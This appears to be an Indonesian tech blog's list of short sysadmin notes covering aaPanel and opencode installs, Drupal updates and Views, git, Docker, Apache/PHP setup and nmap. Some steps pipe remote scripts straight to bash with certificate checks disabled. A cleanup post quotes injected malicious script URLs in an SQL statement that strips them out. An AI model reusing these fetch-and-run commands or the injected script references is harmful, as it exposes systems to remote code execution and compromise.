Postingan

Cara install aapanel di debian 12

 URL=https://www.aapanel.com/script/install_panel_en.sh && if [ -f /usr/bin/curl ];then curl -ksSO $URL ;else wget --no-check-certificate -O install_panel_en.sh $URL;fi;bash install_panel_en.sh ipssl

Cara Install opencode ai

 sudo apt update && sudo apt install -y curl git ca-certificates && curl -fsSL https://opencode.ai/install | bash && echo 'export PATH="$HOME/.opencode/bin:$PATH"' >> ~/.bashrc && export PATH="$HOME/.opencode/bin:$PATH" && opencode --version Jika menggunakan distro fedora, rh dan semisalnya cukup ganti 'apt' menjadi dnf

Cara Update Drupal Core dengan Drush

To upgrade Drupal core (say for a new security release) while running Aegir stable, this method should work, but make sure to test on a development instance before running on your production environment: 1. Become the Aegir user.     * sudo -Hsu aegir 2. Upgrade Drupal core.     * drush @hostmaster pm-updatecode drupal 3. Verify the upgraded platform.     * drush @platform_hostmaster provision-verify 4. Verify the Hostmaster site.     * drush @hostmaster provision-verify

Views konten sesuai kategori user dan konten

  Here is a slightly different approach: * Create a  user  view. * Add a contextual filter on user: uid. If no filter value is present, build a default value using the currently logged in user. (This will give you exactly one user object in your view -- the logged in user.) * Add a relationship, using the relevant taxonomy reference field on the user accounts. This will bring you information about the "interest" term for the logged in user. * Add another relationship, called "term: nodes marked with term" (or something like that). This will bring you information about all nodes marked with the interest term for the logged in user. * Either set the view to display node teasers, or select a number of fields to display. * Add a display as usual. Done! Two things to note: 1) I haven't actually done this myself, so I *might* be missing something. It should work, though. 2) "Contextual filters" are called "arguments" in previous versions of Views. ...

Menampilkan User and Flagged content

Gambar
  order by                             active                           oldest                           votes                       Up vote 0 Down vote I had the same issue where I wanted to show the title of the content flagged with a certain flag by each user. I solved it as follows: Created 2 views - 1 of users and another of content In the user view, add 'Flags: User's flaggings' relationship ( Refer attachment user_view ) In the content view, add 'Flags: Node flag' relationship and 'Flags: User uid' contextual filter ( Refer attachment content_view ) Select 'Display contents of "No results found"' for 'WHEN THE FILTER VALUE IS NOT IN THE URL' in the co...

Menampilkan author name pada views drupal

Pada tab 'Relationships' di 'Advanced' options and click 'add' Select the option 'Content: Author' and apply Now when you go to add fields you will notice several new fields, including 'User: Name' When configuring 'User: Name' make sure that the relationship field matches what was set as the identifier under the 'Relationship'. If you have only one relationship set then it should be selected automatically.

Cara menambahkan user dengan akses root dan copy ssh key root

Di debian 10 1. #adduser masmalik 2. #usermod -aG sudo masmalik 3. #mkdir /home/masmalik/.ssh 4. #touch /home/masmalik/.ssh/authorized_keys 5. #cat /root/.ssh/authorized_keys > /home/masmalik/.ssh/authorized_keys 4. #chown -R masmalik:masmalik /home/masmalik/ 5. #chown root:root /home/masmalik 6. #chmod 700 /home/masmalik/.ssh 7. #chmod 644 /home/masmalik/.ssh/authorized_keys

Urutan setup upload project ke github

    1  git config --global user.name "nama_akun_git_kamu"     4  git config --global user.email email_git_kamu@xyz.com     5  git list     6  git config list     7  git config --list Pada direktori kerja setelah git Bash Here     8  git init     9  git add *    10  git commit -m "nama_repo_kamu"    11  git remote add origin https://github.com/xxxxx/nama_repo_kamu.git    12  git pull origin master    13  git push origin master Tambahan aja ini :D    16  history | grep "git " > setup_git_dariawal    17  history | grep "git " > setup_git_dariawal.txt

Cara mengatasi error: Warning: Use of undefined constant _ - assumed '_' (this will throw an Error in a future version of PHP)

Gambar
Error tersebut terjadi karena tidak adanya tanda petik (') yang mengapit kode, misalnya saya menemukan error tersebut di drupal 7 ketika dijalankan dengan php 7.3. Pada modul book terjadi error seperti judul diatas, dan solusinya adalah dengan menambahkan tanda petik yang mengapit kata article yang saya buat menjadi 'article'.

Perintah instalasi Drupal 9 dengan Composer

Gambar
Untuk melakukan instalasi drupal 9 melalui composer, dapat dilakukan dengan perintah C:\apache2\htdoc> composer create-project --prefer-dist --no-dev drupal/drupal drup9

Membuat Text dan Number Generated di MS. Excel

Pada cell yang ditentukan buat formula 1. Formula untuk random number dari 10000-99999 =RANDBETWEEN(10000,99999) 2. Formula untuk random text (karakter) dan angka (number)  =CHAR(RANDBETWEEN(65,90)) note : dimana dalam formula nilai 65 adalah huruf A dan 90 adalah Z 3. Anda dapat mengkombinasikan keduanya atau mengcopy formula tersebut, misal =CHAR(RANDBETWEEN(65,90))& CHAR(RANDBETWEEN(65,90)) & CHAR(RANDBETWEEN(65,90)) & RANDBETWEEN(1000,9999) & "ABC"  Berikut format yang biasa saya gunakan untuk generate username dan password login siswa di edon. usename: ="2019TKJ"&CHAR(RANDBETWEEN(65,90))&CHAR(RANDBETWEEN(65,90))&CHAR(RANDBETWEEN(65,90))&RANDBETWEEN(1000,9999) password: =CHAR(RANDBETWEEN(65,90))&CHAR(RANDBETWEEN(65,90))&CHAR(RANDBETWEEN(65,90))&RANDBETWEEN(1000,9999)

Cara Install PHP 7.3 di Windows 10

Gambar
Berikut adalah langkah-langkah install php 7.3.11 (terbaru saat posting) di windows 10 1. Download terlebih dahulu di  https://windows.php.net/download  (pastikan yang anda download adalah versi  Thread Safe. 2. Ekstrak ke direktori C:/php 3. Copy file C:/php/php.ini-development ke C:/php/php.ini 4. Edit file  C:/php/php.ini dan edit Extention_dir ke " C:/php/ext " 5. Tambahkan direktori  C:/php ke variable environment agar windows mengenali php yang diinstal. Ikuti tahapan pada gambar di bawah ini 6. Pastikan Apache tidak sedang berjalan, atau matikan dengan perintah net stop apache2.4  7. Edit file dan tambahkan index.php pada  DirectoryIndex  C:\Apache2\conf\httpd.conf  8. Tambahkan juga pada file  C:\Apache2\conf\httpd.conf tersebut konfigurasi berikut ini 9. Simpan konfigurasi kemudian cek konfigurasinya dengan perintah httpd -t, perbaiki jika ada error. ...

Cara Install Apache2 di Windows 10

Gambar
Berikut adalah langka-langkah instalasi Apache2 di Windows 10. 1. Download Apache2 dari websitenya  www.apachelounge.com/download/  kali ini saya download versi Apache2.4 2. Ekstrak file hasil ke c:\, sehingga menjadi folder c:\Apache2 3. Lakukan perubahan konfigurasi pada file C:\Apache2\conf\httpd.conf a. Rubah document root dari apache ke c:/Apache2 atau direktori yang anda tentukan b. Listen port ke 80 c. Aktifkan module  mod_rewrite.so dengan cara menghilangkan tanda pagar (#) di depannya d. Arahkan servername ke localhost e. .htaccess overides ke All f. Test hasil konfgurasi dan pastikan sukses g. Masukan apache2 ke dalam service windows agar berjalan otomatis saat windows start h. Test apakah apache2 sudah berjalan dengan benar pada browser anda dengan mengarahkan ke localhost atau 127.0.0.1

Menampilkan IP yang terhubung ke dalam jaringan dengan nmap

Langkah-langkahnya adalah 1. Install nmap #apk add nmap 2. Jalankan perintah #nmap -v -sP 192.168.100.0/255 maka akan discan IP dari 0 hingga 255 dan ditampilkan yang sedang aktif

Mengatasi hacked https://js.localstorage.tk/s.js

Jika anda menggunakan drupal berikut langkahnya pembersihan di databasenya. Jalankan di dalam mysql prompt : UPDATE field_data_body SET body_value=REPLACE(body_value,'<script type=''text/javascript'' src='' https://js.localstorage.tk/s.js?qr=888 ''></script><script type=''text/javascript'' src='' http://193.201.224.233/m.js?d=1 ''></script>','') ;

Config Nginx untuk mengaktifkan url friendly di drupal

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Cara mengaktifkan php pada apache di ubuntu

Mungkin saja ketika anda menginstall paket LAMP ternyata file-file php tidak langsung dikenali atau dieksekusi sebagaimana mestinya. Hal ini saya temui ketika menginstall paket LAMP tersebut di ubuntu server 16.04, yang kasus ini tidak saya temukan di debian 9.5. Hal ini ditandai dengan terdownloadnya file php tersebut ketika diakses oleh browser, atau justru menampilkan isi dari file php tersebut. Cek and ricek ternyata modul  libapache2-mod-php7.0  yang tertinggal dan harus diinstall tersendiri. Solusinya ya silahkan install terlebih dahulu module tersebut dengan perintah: #apt install  libapache2-mod-php7.0

Cara Mudah Update Drupal 8

Gambar
  Download drupal 8 terbaru dengan perintah wget  Extract dengan perintah tar -zxvf Copy direktory core dan vendor pada drupal 8 terbaru tersebut directory web proyek anda Copy file .htaccess , composer.lock dan composer.json ke web proyek anda Akses web proyek anda web_anda.com/update.php Lakukan update sebagaimana intruksi yang tertera

Panduan Mengenal dan Mengoperasikan Docker

Gambar
Berikut catatan2 saya selama mempelajari docker. Tujuannya agar tidak lupa dan mudah kembali ke catatan2 ini nantinya. Nanti akan diperbaiki agar dapat menjadi tutorial yang mudah dipahami pembaca. 1. Melakukan Backup container $ docker commit -p amquiz-v1 backup-amquiz-v1 2. Menyimpan backup image ke direktori kerja di ubuntu (di luar docker) $ docker save -o backup-amquiz-v11.tar backup-amquiz-v1 3. Menjalankan image dengan mounting ke direktori aktif OS Host. $ docker run -ti -v $(pwd):/mnt backup-amquiz-v1 bash 4. Menjalankan Images menjadi container $docker run --name amquiz backup-amquiz-v1:latest 5. Menjalankan images menjadi container dengan melakukan mount direktori /var/log/nginx di dalam kontainer ke direktori /nginxlogs di direktori host. $docker run -d -v ~/nginxlogs:/var/log/nginx -p 5000:80 -i nginx Ket. -v ~/nginxlogs:/var/log/nginx  — We set up a volume that links the  /var/log/nginx  directory from inside the Nginx container ...

Mengaktifkan file rc.local di debian 9

Gambar
Untuk anda yang menggunakan debian 9 pasti akan sedikit kebingungan ketika tidak menemukan file /etc/rc.local . Ya, setidaknya kebingungan itu saya alami sendiri ketika akan menempatkan beberapa baris perintah di file rc.local agar di eksekusi saat komputer boot. Berikut langkah mudah mengaktifkan file rc.local tersebut agar kembali biasa digunakan sebagaimana biasanya. 1. Buat 1 file dengan rc-local.service di direktori /etc/systemd/system dan isi dengan script dibawah #nano /etc/systemd/system/rc-local.service [Unit]  Description=/etc/rc.local Compatibility  ConditionPathExists=/etc/rc.local  [Service] Type=forking  ExecStart=/etc/rc.local start  TimeoutSec=0 StandardOutput=tty   RemainAfterExit=yes   SysVStartPriority=99  [Install] WantedBy=multi-user.target 2. Buat file /etc/rc.local dan isilah dengan script berikut (script bawaan dari rc.local) #nano /etc/rc.local #!/bin/sh exit 0 3. Rubah file rc.loc...